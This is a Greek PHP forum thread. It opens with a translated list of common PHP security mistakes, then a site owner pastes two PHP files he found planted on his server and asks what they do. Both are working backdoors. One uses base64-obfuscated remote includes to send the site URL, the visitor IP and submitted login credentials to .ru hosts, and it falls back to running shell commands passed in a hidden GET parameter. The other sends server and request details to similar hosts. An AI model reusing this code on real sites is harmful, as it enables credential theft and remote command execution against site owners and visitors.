Λάθη ασφάλειας στην Php

Σε αυτή την περιοχή μπορείτε να βρείτε ή να αναζητήσετε πληροφορίες σχετικές με την PHP

Συντονιστές: WebDev Moderators, Super-Moderators, PHP Moderators

Απάντηση
Άβαταρ μέλους
papatzas
Δημοσιεύσεις: 227
Εγγραφή: 03 Δεκ 2005 14:23

Λάθη ασφάλειας στην Php

Δημοσίευση από papatzas » 05 Απρ 2006 12:55

Πηγή: devshed.com, Συγγραφέας: Dave Clark
Τίτλος πρωτοτύπου: PHP Security Mistakes (09-06-2004)
Μετάφραση και σχόλια στα Ελληνικά: DataHellas (04.05.2005)

μπορούμε να αναπτύξουμε μια κουβέντα για αυτό... δείτε το file
----------------------------------------------------------------------------

1. Ποτέ δεν χρησιμοποιούμε include, require, ή άλλη μέθοδο ανοίγματος ενός αρχείου με όνομα βασισμένο σε στοιχεία που εισάγει ο χρήστης προτού το εξετάσουμε προσεκτικά.

2. Προσοχή με το eval()

3. Προσοχή όταν έχετε το register_globals = ON

4. Ποτέ μην εκτελείτε unescaped queries

5. Για προστατευμένες περιοχές χρησιμοποιήστε sessions ή κάντε πάντα πιστοποίηση εισόδου.

6. Εάν δεν θέλετε τα περιεχόμενα ενός αρχείου να μπορούν να ειδωθούν δώστε στο αρχείο επέκταση .php
Συνημμένα
Λάθη ασφαλείας στην PHP.zip
(13.55 KiB) Μεταφορτώθηκε 418 φορές
Τελευταία επεξεργασία από το μέλος papatzas την 10 Απρ 2006 17:41, έχει επεξεργασθεί 1 φορά συνολικά.


zeppos
Δημοσιεύσεις: 431
Εγγραφή: 26 Μαρ 2006 10:43
Τοποθεσία: Kyklades
Επικοινωνία:

Λάθη ασφάλειας στην Php

Δημοσίευση από zeppos » 19 Απρ 2006 09:42

Ως αρκετά αρχάριος στην php δεν έδινα πολύ σημασία στην ασφάλεια και στον "αγώνα" να μάθω την γλώσσα άφηνα πάντα για τελευταίο το ζήτημα αυτό και έτσι δεν γνωρίζω τίποτα.. Εχθές ανακάλυψα μέσα σε διάφορους φακέλους που είναι προσβάσιμοι σε μέλη και επισκέπτες να έχουν εγκατασταθεί από ένα "ζευγάρι" μικρών αρχείων php με διαφορετικά ονόματα σε κάθε φάκελο. Κράτησα κόπιες και ψάχνω να βρώ τι μπορούν να κάνουν.Δηλ τον λόγο που κάποιος τα έβαλε εκεί.
Ο κώδικας στο ένα μαζεύει τις πληροφορίες για την διεύθυνση του φακέλου την κωδικοποιεί με "base64_encode" και στο άλλο την προσθέτει σε μια επίσης κωδικοποιημένη διεύθυνση στην Ρουμανία με το "base64_decode"
Θα ήθελα να παρακαλέσω όποιον γνωρίζει να μου πεί ΄τι μπορούν να κάνουν αυτά τα αρχεία και ΠΩΣ τα έβαλε μέσα;
Εικόνα

Άβαταρ μέλους
Banavas
Script Master
Δημοσιεύσεις: 1367
Εγγραφή: 21 Νοέμ 2004 20:25
Επικοινωνία:

Λάθη ασφάλειας στην Php

Δημοσίευση από Banavas » 25 Απρ 2006 13:40

Γράψε τα ονόματα από τα δύο αυτά αρχεία...

zeppos
Δημοσιεύσεις: 431
Εγγραφή: 26 Μαρ 2006 10:43
Τοποθεσία: Kyklades
Επικοινωνία:

Λάθη ασφάλειας στην Php

Δημοσίευση από zeppos » 25 Απρ 2006 14:49

Τα ονόματα ήταν διαφορετικά σε κάθε φάκελλο και μάλλον τα έβαζε τυχαία το προγραμμα που χρησιμοποίησε.
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>[/code]
Αυτό ήταν το ένα με όνομα base.php

Κώδικας: Επιλογή όλων

<? error_reporting&#40;0&#41;;
$s="e";
$a=&#40;isset&#40;$_SERVER&#91;"HTTP_HOST"&#93;&#41; ? $_SERVER&#91;"HTTP_HOST"&#93; &#58; $HTTP_HOST&#41;;
$b=&#40;isset&#40;$_SERVER&#91;"SERVER_NAME"&#93;&#41; ? $_SERVER&#91;"SERVER_NAME"&#93; &#58; $SERVER_NAME&#41;;
$c=&#40;isset&#40;$_SERVER&#91;"REQUEST_URI"&#93;&#41; ? $_SERVER&#91;"REQUEST_URI"&#93; &#58; $REQUEST_URI&#41;;
$d=&#40;isset&#40;$_SERVER&#91;"PHP_SELF"&#93;&#41; ? $_SERVER&#91;"PHP_SELF"&#93; &#58; $PHP_SELF&#41;;
$e=&#40;isset&#40;$_SERVER&#91;"QUERY_STRING"&#93;&#41; ? $_SERVER&#91;"QUERY_STRING"&#93; &#58; $QUERY_STRING&#41;;
$f=&#40;isset&#40;$_SERVER&#91;"HTTP_REFERER"&#93;&#41; ? $_SERVER&#91;"HTTP_REFERER"&#93; &#58; $HTTP_REFERER&#41;;
$g=&#40;isset&#40;$_SERVER&#91;"HTTP_USER_AGENT"&#93;&#41; ? $_SERVER&#91;"HTTP_USER_AGENT"&#93; &#58; $HTTP_USER_AGENT&#41;;
$h=&#40;isset&#40;$_SERVER&#91;"REMOTE_ADDR"&#93;&#41; ? $_SERVER&#91;"REMOTE_ADDR"&#93; &#58; $REMOTE_ADDR&#41;;
$str=base64_encode&#40;$a&#41;.".".base64_encode&#40;$b&#41;.".".base64_encode&#40;$c&#41;.".".base64_encode&#40;$d&#41;.".".base64_encode&#40;$e&#41;.".".base64_encode&#40;$f&#41;.".".base64_encode&#40;$g&#41;.".".base64_encode&#40;$h&#41;.".$s";
 if &#40;&#40;include&#40;base64_decode&#40;"aHR0cDovLw=="&#41;.base64_decode&#40;"dXNlcjkubXNodG1sLnJ1"&#41;."/?".$str&#41;&#41;&#41;&#123;&#125; 
else &#123;include&#40;base64_decode&#40;"aHR0cDovLw=="&#41;.base64_decode&#40;"dXNlcjcuaHRtbHRhZ3MucnU="&#41;."/?".$str&#41;;&#125; 
?>
Και αυτό ήταν το δεύτερο με όνομα create.php. Αλλά όπως είπα σε άλλους φακέλους είχαν άλλα ονόματα τα ίδια πάντα αρχεία σε ζευγάρια...

Άβαταρ μέλους
xultimatex
Honorary Member
Δημοσιεύσεις: 2505
Εγγραφή: 26 Ιούλ 2003 13:02
Τοποθεσία: Ξάνθη
Επικοινωνία:

Λάθη ασφάλειας στην Php

Δημοσίευση από xultimatex » 25 Απρ 2006 14:54

Ένας άλλος κανόνας είναι ότι ποτέ δεν ανεβάζουμε τον κώδικα εφαρμογής κάπου... Ποτε δεν ξέρεις ποιος μπορεί να τον "μελετήσει". :hammer: :hammer: :hammer: :hammer:
:arrow: Αν προσπαθείς πολύ για να πετύχεις κάτι, ίσως το κάνεις με λάθος τρόπο...

zeppos
Δημοσιεύσεις: 431
Εγγραφή: 26 Μαρ 2006 10:43
Τοποθεσία: Kyklades
Επικοινωνία:

Λάθη ασφάλειας στην Php

Δημοσίευση από zeppos » 26 Απρ 2006 08:35

Εάν είναι "επικίνδυνο" το παραπάνω με τον κώδικα ας το διαγράψει ο admin.
Εικόνα

Απάντηση

Επιστροφή στο “PHP Προγραμματισμός”

Μέλη σε σύνδεση

Μέλη σε αυτήν τη Δ. Συζήτηση: Δεν υπάρχουν εγγεγραμμένα μέλη και 0 επισκέπτες